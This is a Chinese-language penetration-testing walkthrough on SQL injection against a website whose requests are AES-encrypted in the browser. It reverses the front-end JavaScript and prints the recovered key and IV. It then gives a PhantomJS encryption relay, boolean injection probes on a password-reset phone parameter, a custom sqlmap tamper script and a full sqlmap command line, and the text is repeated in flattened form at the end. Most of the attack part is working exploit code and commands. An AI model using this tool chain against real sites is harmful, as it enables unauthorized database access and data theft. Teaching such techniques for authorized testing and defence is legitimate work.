外网打点之SQL注入-突破加密传输
字数 1055 2025-08-12 11:33:38

SQL注入突破加密传输实战教学文档

0x01 加密传输分析与解决

1.1 识别加密传输

在渗透测试过程中,发现目标网站所有传输数据都被加密。这是现代Web应用常见的安全措施,但并不意味着无法进行SQL注入测试。

1.2 定位加密逻辑

  1. 使用浏览器开发者工具(右键-审查元素)
  2. 在"Event Listeners"选项卡中查找按钮点击事件
  3. 发现点击事件触发ForgetPwd.sendCode()函数

1.3 分析加密函数

  1. 格式化JS代码后,发现使用aes_encrypt函数加密数据
  2. 当前JS文件中未找到该函数定义,说明定义在外部JS文件中
  3. 查找并分析aes.js文件,获取以下关键参数:
    • 秘钥(Key): d49d691f234441add2f610d5d11f6aad
    • 偏移量(IV): b883b5ec8ca259692869ada4b72dc6f5
    • 填充方式: zeropadding
    • 加密模式: CBC

0x02 解密程序开发

2.1 使用PhantomJS构建解密服务

var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';

// 加载加密算法库
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');

// 加密函数
function js_encrypt(payload){
    var AesKey = "d49d691f234441add2f610d5d11f6aad";
    var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
    var CBCOptions = {
        iv: CryptoJS.enc.Utf8.parse(CBCIV),
        mode:CryptoJS.mode.CBC,
        padding: CryptoJS.pad.ZeroPadding
    }
    var key = CryptoJS.enc.Utf8.parse(AesKey);
    var secretData = CryptoJS.enc.Utf8.parse(payload);
    var encrypted = CryptoJS.AES.encrypt(secretData, key, CBCOptions);
    return encrypted.toString();
}

if(wasSuccessful){
    console.log("[*] load js successful");
    console.log("[*] jsEncrypterJS start!");
    console.log("[+] address: http://"+host+":"+port);
}else{
    console.log('[*] load js fail!');
}

// 启动服务
var service = server.listen(host+':'+port,function(request, response){
    try{
        if(request.method == 'POST'){
            var payload = request.post['payload'];
            var encrypt_payload = js_encrypt(payload);
            console.log(payload + ':' + encrypt_payload);
            response.statusCode = 200;
            response.write(encrypt_payload.toString());
            response.close();
        }else{
            response.statusCode = 200;
            response.write("^_^\n\rhello jsEncrypter!");
            response.close();
        }
    }catch(e){
        console.log('\n-Error Info-');
        var fullMessage = "Message: "+e.toString();
        fullMessage += "\nLine: "+e.line;
        for (var p in e) {
            fullMessage += "\n" + p.toUpperCase()+":"+e[p];
        }
        console.log(fullMessage);
        console.log('[*] phantomJS exit!');
        phantom.exit();
    }
});

2.2 运行解密服务

phantomjs.exe jsEncrypter_base.js

2.3 测试解密服务

可以使用Burp Suite的jsEncrypter插件或直接发送POST请求到http://127.0.0.1:1664进行测试。

0x03 漏洞挖掘与利用

3.1 手工验证注入点

发送以下测试payload观察响应差异:

  • phone=16742264301'and '1'='0'&lang=zh
  • phone=16742264301'and '1'='1'&lang=zh

响应不同确认存在SQL注入漏洞。

3.2 自动化注入方案选择

  1. 自研盲注脚本:需要二次修改,效率较低
  2. 集成sqlmap:需要编写自定义tamper脚本处理加密

3.3 编写sqlmap tamper脚本

Aes.py:

import base64
import requests
from Crypto.Cipher import AES
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def encrypt(text):
    url = 'http://127.0.0.1:1664'
    data = {'payload':'phone=16742264301%s #&lang=zh'%str(text).replace('b','')}
    r = requests.post(url,data)
    return r.text

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = encrypt((payload).encode('utf-8'))
    return payload

3.4 执行sqlmap注入

python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3

关键点总结

  1. JS逆向分析:必须准确找到加密算法和密钥参数

  2. 本地解密服务:构建中间层处理加密/解密,使工具链能正常工作

  3. tamper脚本编写:使sqlmap能适应加密传输环境

  4. 参数调整

    • --tamper:指定加密处理脚本
    • --force-ssl:强制SSL连接
    • --skip-urlencode:避免二次编码
    • --tech B:使用布尔盲注技术
  5. 测试验证:手工验证注入点存在后再进行自动化测试

通过这种方法,即使面对加密传输的目标,也能有效进行SQL注入测试。关键在于理解加密机制并构建适当的工具链来适应这种环境。

SQL注入突破加密传输实战教学文档 0x01 加密传输分析与解决 1.1 识别加密传输 在渗透测试过程中,发现目标网站所有传输数据都被加密。这是现代Web应用常见的安全措施,但并不意味着无法进行SQL注入测试。 1.2 定位加密逻辑 使用浏览器开发者工具(右键-审查元素) 在"Event Listeners"选项卡中查找按钮点击事件 发现点击事件触发 ForgetPwd.sendCode() 函数 1.3 分析加密函数 格式化JS代码后,发现使用 aes_encrypt 函数加密数据 当前JS文件中未找到该函数定义,说明定义在外部JS文件中 查找并分析 aes.js 文件,获取以下关键参数: 秘钥(Key): d49d691f234441add2f610d5d11f6aad 偏移量(IV): b883b5ec8ca259692869ada4b72dc6f5 填充方式: zeropadding 加密模式: CBC 0x02 解密程序开发 2.1 使用PhantomJS构建解密服务 2.2 运行解密服务 2.3 测试解密服务 可以使用Burp Suite的jsEncrypter插件或直接发送POST请求到 http://127.0.0.1:1664 进行测试。 0x03 漏洞挖掘与利用 3.1 手工验证注入点 发送以下测试payload观察响应差异: phone=16742264301'and '1'='0'&lang=zh phone=16742264301'and '1'='1'&lang=zh 响应不同确认存在SQL注入漏洞。 3.2 自动化注入方案选择 自研盲注脚本:需要二次修改,效率较低 集成sqlmap:需要编写自定义tamper脚本处理加密 3.3 编写sqlmap tamper脚本 Aes.py : 3.4 执行sqlmap注入 关键点总结 JS逆向分析 :必须准确找到加密算法和密钥参数 本地解密服务 :构建中间层处理加密/解密,使工具链能正常工作 tamper脚本编写 :使sqlmap能适应加密传输环境 参数调整 : --tamper :指定加密处理脚本 --force-ssl :强制SSL连接 --skip-urlencode :避免二次编码 --tech B :使用布尔盲注技术 测试验证 :手工验证注入点存在后再进行自动化测试 通过这种方法,即使面对加密传输的目标,也能有效进行SQL注入测试。关键在于理解加密机制并构建适当的工具链来适应这种环境。